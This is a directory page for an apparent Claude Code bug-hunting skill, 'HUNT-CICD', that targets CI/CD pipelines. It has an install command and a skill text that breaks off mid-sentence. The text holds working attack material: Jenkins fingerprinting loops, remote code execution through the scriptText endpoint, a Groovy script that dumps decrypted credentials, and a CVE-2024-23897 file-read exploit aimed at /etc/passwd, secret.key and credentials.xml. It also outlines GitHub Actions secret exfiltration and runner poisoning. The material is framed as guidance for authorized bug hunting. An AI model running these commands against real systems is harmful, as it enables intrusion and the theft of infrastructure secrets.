JavaScript is disabled. Some features may not work.
Hunt Cicd — ★ 2.7K GitHub Stars — Install Guide | SkillsNav
🇺🇸 English🇨🇳 中文
SkillsNav
Home

Hunt Cicd

★ 2.7K repomlN/AIntermediateClaude
🤖 AI Summary

HUNT-CICD scans CI/CD pipelines for critical vulnerabilities, specifically detecting exposed Jenkins Script Consoles (immediate RCE), CVE-2024-23897 pre-auth file read, and exploitable GitHub Actions `pull_request_target`/`workflow_run` workflows that enable secret exfiltration from fork PRs.

How to Install

Claude Code:
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git && cp Claude-BugHunter/skills/hunt-cicd ~/.claude/skills/SKILL.md -r

HUNT-CICD — CI/CD Pipeline Security

Crown Jewel Targets

Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" → secret exfil from a fork PR with zero approval.

Highest-value findings: - Jenkins Script Console — Groovy execution → full RCE → dump the credential store - Jenkins CLI file read (CVE-2024-23897) — pre-auth @/etc/passwd arg expansion → read secret.key/credentials.xml → forge admin → RCE - GitHub Actions pull_request_target injection (Pwnrequest) — fork PR controls ${{ }} inside a privileged shell step → exfil GITHUB_TOKEN (often contents:write) and org secrets - Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft - OIDC trust-policy abuse — over-broad sub claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role - Terraform state leakage*.tfstate in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys - Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before ::add-mask::


"It-Didn't-Happen-Without-Proof" Gate (Read First)

CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:

  1. A login page is not an RCE. A reachable /script URL that returns a Jenkins login or 403 is not an unauthenticated script console. Only an actual scriptText POST returning your command's output counts.
  2. A pull_request_target workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
  3. Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
  4. A .tfstate HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many tfstate files contain only resource IDs and outputs, no secrets.

Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

Unauthenticated script console → RCE (only if the POST returns output):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

Dump the credential store (Groovy decrypts secrets the UI masks):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j @-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading secret.key + master.key to decrypt credentials.xml, or reading a user's config.xml API token:

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.


Phase 2 — GitHub Actions: Pwnrequest, ${{ }}-into-Shell, Runner Poisoning, OIDC

The core distinction (this is where 90% of false PoCs die)

There are two sink classes — they need different payloads:

  • ${{ }} template expansion into a shell run: — the expr

Details

Category AI/ML → ml
Sourceelementalsouls/Claude-BugHunter
SKILL.mdView on GitHub →
Repo Stars★ 2.7K
Est. per SkillN/A (shared across 50 skills from this repo)
DifficultyIntermediate
Risk LevelN/A

Related Skills

Works Well With

Skills from the same repository — often designed to work together